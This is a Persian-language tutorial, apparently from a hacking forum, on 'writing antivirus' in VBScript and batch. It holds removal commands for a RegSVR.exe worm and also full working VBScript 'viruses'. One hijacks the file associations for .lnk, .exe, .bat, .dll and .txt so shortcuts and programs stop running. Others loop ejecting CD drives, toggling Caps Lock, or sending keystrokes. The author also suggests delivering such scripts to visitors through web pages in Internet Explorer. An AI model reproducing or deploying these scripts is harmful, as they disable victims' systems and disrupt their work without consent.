Programming Anti Virus with Vbscipt and Bat file

http://black-hg.org/cc/showthread.php?p=10215

سلام -----------  

امروز می خوام طریقه ی نوشتن آنتی ویروس رو برای ویروس ها روبا استفاده از زبان برنامه نویسی VBscript   و با استفاده از فایل های Bat رو بگم

 

برای این کار من یک ویروسی رو که دیده بودم رو اسم می برم  و اون رو انالیز می کنم براتون و میام آنتیشو می نویسم


اسم ویروس RegSVR.exe هست 



یک کپی از خودش رو جهت انجام عملیات مخربش تو این قسمت ها میزاره 



C:\WINDOWS
با نام Regsvr.exe که نه hidden و نه ... شده 

C:\windows\system32
به همین اسم منتها به صورت Hidden و System اونجا هست 

C:\windows\system32
به اسم Svhost .exe تو System32 که یک فاصله بین اسم و پسوند فایل وجود داره که با فایل اصلی اشتباه نشه و ویندوز اجازه ی کپی رو بهش بده 

"C:\DOCUME~1\L4TR0D~1\LOCALS~1\Temp\Rar$EX45.352\v \regsvr.exe"
و همچنین اینجا 



------------------
در Taskmgr هم 

با اسم regsvr.exe می باشد 

-----------------


در رجیستری
در مسیر های زیر 

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run\
با اسم Msn Messsenger
که فایل System32 را بالا میلره 



----------------------



پورت هایی که باز میکنه 

پورت 2648 هست که با اسم نا شناس هم این کار رو می کنه 

 

 

خوب حالا دوباره یکی یکی مرور می کنیم

آولین کاری که باید انجام بدیم end کردن پروسه بد افزار هست برای اینکار از فرمان زیر استفاده می کنیم

taskkill /f /IM regsvr.exe

از اونجایی که این ویروس از یک dll خاص استفاده می کنه پس ما باید یک فیلترینگ هم بزاریم که بتونه dll رو هم از بین ببریم

taskkill /F /FI "Modules eq consol.dll"


سپس باید فایل هایی که توسط بد افزار ایجاد شده رو Regsvr رو حذف کنیم


del "c:\windows\regsvr.exe"

del "c:\windows\system32\regsvr.exe"

del "c:\windows\svhost .exe"

del "c:\windows\svhost .exe

del "%temp%\Rar$EX45.352\v\regsvr.exe"




 

و بعد Startup اون رو که توی رجیستری انجام میشه رو باید حذف کنیم


REG DELETE \HKLu\Software\Microsoft\Windows\CurrentVersion\Ru n /v "msn messenger"

و در نهایت پورتی که توسط بد افزار بر روی سیستم باز شده رو هم باید بست


کل آنتی ویروس تو این چند کل خلاصه میشه


taskkill /f /IM regsvr.exe

taskkill /f /fi "modules eq consol.dll"

del "c:\windows\regsvr.exe"

del "c:\windows\system32\regsvr.exe"

del "c:\windows\svhost .exe"

del "%temp%\Rar$EX45.352\v\regsvr.exe"

REG DELETE \HKLu\Software\Microsoft\Windows\CurrentVersion\Run /v "msn messenger"

netsh firewall delete portopening protocol = TCP port = 2648


حالا می خوام همین کد رو به زبان VBscript بزارم کد داخل فایل زیر قرار داره بلاگفا اجازه گذاشتن این کد ها رو نمیده 


http://l4tr0d3ctism.persiangig.com/vbscript%20anti%20virus.txt




 

ویروس های VBS

تو اين آموزش ها ما مي خوايم به روش هاي مختلف نوشتن ويروس هاي VBS بپردازيم


WSH* يكي از تكنولو*ي هاي اسكريپت نويسي در ويندوز مي باشد .دليل نامگذاري آن به عنوان HOST اين است كهبه زبان هاي برنامه نويسي آشنايي ندارد و به همين خاطر مايكروسافت آن را Language Agnostic مي نامد .

 

WSH *از موتور زبان هاي برنامه نويسي VB , C , C++ استفاده مي كند كه آن را با نام VBScript و Jscript* استفاده مي كند . اجرا كننده ي اين كد ها فايلي با نام Wscript.exe مي باشد .


اگر شما به زبان برنامه نويسي Visual Basic* آشنايي داشته باشيد مي توانيد خيلي ساده با VBS هم برنامه هايي را كه براي كارتان مورد نياز است را بنويسيد .

در اين درس ما مي خواهيم يك ويروسي را بنويسيم كه از اجراي فايل ها با پسوند مشخص جلوگيري كند و در نهايت ژروسه ي explorer.exe را يك بار end* كند و دوباره آن را اجرا كندد .


اگر ما بخواهيم اين كار را به صورت دستي انجام دهيم بايد موارد زير را اعمال كنيم .


به شاخه ي زير از رجيستري ويندوز مي رويم


HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\FileExts\.lnk\UserChoice



سپس در اين قسمت يك مقدار با نام PROGID مي سازيم و مقدار آن را Applications\explorer.exe و يا هر برنامه ي ديگري مي گذاريم



و در نهايت پروسه Explorer.exe را يك دور end مي كنيم و آن را دوباره Run مي كنيم .


اما اگر بخواهيم مراحل بالا را از طريق زبان VBS بنويسيم بسيار ساده تر مي شود .


در اينجا ما فايل هايي كه با پسوند LNK هستند را غير فعال مي كنيم . در صورتي كه اين نوع فايل ها در ويندوز غير فعال شود هيچ shortcutي در ويندوز قابل اجرا نمي باشد و از بين مي روند .

از كد زير جهت انجام مراحل بالا استفاده مي كنيم


تغيير در رجيستري و ساخت مقدار PROGID*و انتصاب مقدار Applications\explorer.exe به آن .


 

HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice"

objReg.CreateKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue



و براي اينكه بخواهيم پروسه ي Explorer.exe*را هم Restart كنيم از كد زير استفاده مي كنيم .


کد:


strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

&"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

 ("Select * from Win32_Process Where Name = 'explorer.exe'")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

Dim oShell : Set oShell = CreateObject("WScript.Shell")

'oShell.Run "taskkill /im explorer", , True

WScript.Sleep 3000

oShell.Run "explorer.exe", , True


اينجا ما مي خوايم كمي كد رو گسترش بديم و فايل هاي exe و bat, , com و ... رو هم بهش اضافه كنيم .


HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice"

objReg.CreateKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue

'----------------------

HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\UserChoice"

objReg.CreateKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue

'----------------------------

HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.dll\UserChoice"

objReg.CreateKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue

'--------------------------------

HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice"

objReg.CreateKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue



خوب حالا ما مي خواييم يك آنتي ويروس براي اين ويروس بنويسيم



براي اينكار كافيه كليه ي كد هاي مراحل ويروس را نگاه كنيم و كد ها را معكوس كنيم .اما چند مطلب وجود دارد .

 

شما كد MSGbox “BHG” را داخل يك فايل با پسوند VBS بگذاريد و آن را اجرا كنيد مي بينيد كه پيغامي با نام BHG ظاهر مي شود حالا وارد taskmgr شويد و مي بينيد كه در ليست پروسه ها فايلي با نام Wscript.exe وجود دارد كه با end*كردن اون اين ژيغام هم از بين مي ورد . اگر ما فرض كنيم كه يك ويروس Vbs وارد سيستم ما شده ما اول از همه بايد از طريق پروسه ي اين ويروس كه همان Wscript.exe هست محل آن را شناسايي كنيم و سسپس با خواندن محتويات كد معكوس آن را انجام دهيم .

 

آنتي ويروس بال به شكل زير بوده



HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice"

objReg.deleteKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue

'--------------------------------

HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice"

objReg.deleteKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue

'----------------------

HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\UserChoice"

objReg.deleteKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue

'----------------------------

HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.dll\UserChoice"

objReg.deleteKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue

'--------------------------------

HKEY_CURRENT_USER = &H80000001

strComputer = "."

Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice"

objReg.deleteKey HKEY_CURRENT_USER, strKeyPath

ValueName = "Progid"

strValue = "Applications\explorer.exe"

objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue

'==============================

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

&"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

 ("Select * from Win32_Process Where Name = 'explorer.exe'")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

Dim oShell : Set oShell = CreateObject("WScript.Shell")

WScript.Sleep 3000

oShell.Run "explorer.exe", , True

'===============================


آشنايي با روش هاي مختلف Script نويسي در ويندوز براي وقت هايي مناسب هستند كه ما مي خواهيم يك برنامه ي خاص را بنويسيم اما هيچ نوع كامپايلر زبان برنامه نويسي بر روي سيستم نصب نمي باشد .

 

اما اگر از ديدگاه علوم هك و امنيت بخواهيم نگاه كنيم جهت bypass*كردن اقدامات امنيتي ايجاد شده بر روي ويندوز و يا جهت نوشتن يك آنتي ويروس براي ويروس داخل سيستم مي توان از آنها استفاده كرد .


در زير سعي ميكنيم چندين ويروس به زبان vBs را بزاريم و طريقه مقابله با آنها را نيز شرح دهيم .

__________________



فایل ها با نام BHG.VBS ذخیره بشه

برای از کار انداختن اونها می تونید Wscript را در Taskmgr را End نمایید .

=======================================
=======================================
=======================================

این ویروس میاد هر 5 ثانیه یک بار سی دی رم رو باز میکنه



Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop


این ویروس میاد چراغ Caps lock رو روشن خاموش میکنه


Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

---------------------------------



این نوع ویروس ویندوز رو دیوانه میکنه رو یاهو هم کر میکنه pm های سریع میده



Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

---------------------------------------



این ویروس کلمه ی BHG رو تو pm یاهو و یا Notoad و Word و ... می نویسه کلا



Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "BHGl."

loop


 

همون طوری که میبینید بد افزار های بالا همگی از حلقه ها استفاده می کنند و هیچ بخشی از ویندوز رو تغییر نمی دهند پس فقط کافیست که پروسه Wscript.exe را یک بار End  کرد

 

 strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

&"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

 ("Select * from Win32_Process Where Name = 'explorer.exe'")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

Dim oShell : Set oShell = CreateObject("WScript.Shell")

'oShell.Run "taskkill /im Wscript", , True

WScript.Sleep 3000

oShell.Run "explorer.exe", , True


کد:

 

 

اما اینکه چطوری ما از کد های vbs در صفحات وب استفاده کنیم

این کار رو میشه کرد اما فقط در IE میشه کد ها رو اجرا کرد اینه که میگن از این IE استفاده نکنید . اما گوش که نمیکنید :D

من اگه بخوام که وقتی فردی وارد صفحه ما میشه پیغامی به اون داده بشه به شکل زیر عمل می کنم


برای اینکه بگیم ما داریم از زبان VBS استفاده می کنیم باید از مقدار زیر در بدنه صفحه استفاده کنیم


http://l4tr0d3ctism.persiangig.com/vbscipt%20in%20web.txt

به دلیل اینکه بلاگفا استفاده از این کد ها رو تهدید میدونه \س اونا رو فیلتر کرده و من مجبورم تو فایل Txt بزارم 


خوب شما می تونید از این طریق یک ویروسی رو وارد سیستم فرد کنید و اون رو روی سیستمش اجرا کنید

اما فقط در صورتی که اون نفر از IE استفاده کنه

ما بقیهی فرامین استفاده از VBS مانند خود ویژوال بیسیک هستش

برای اطلاعات بیشتر می تونید به لیتنک های زیر برید یا از گوگل کمک بگیرید



http://www.tizag.com/vbscriptTutorial/
http://www.quackit.com/vbscript/tutorial/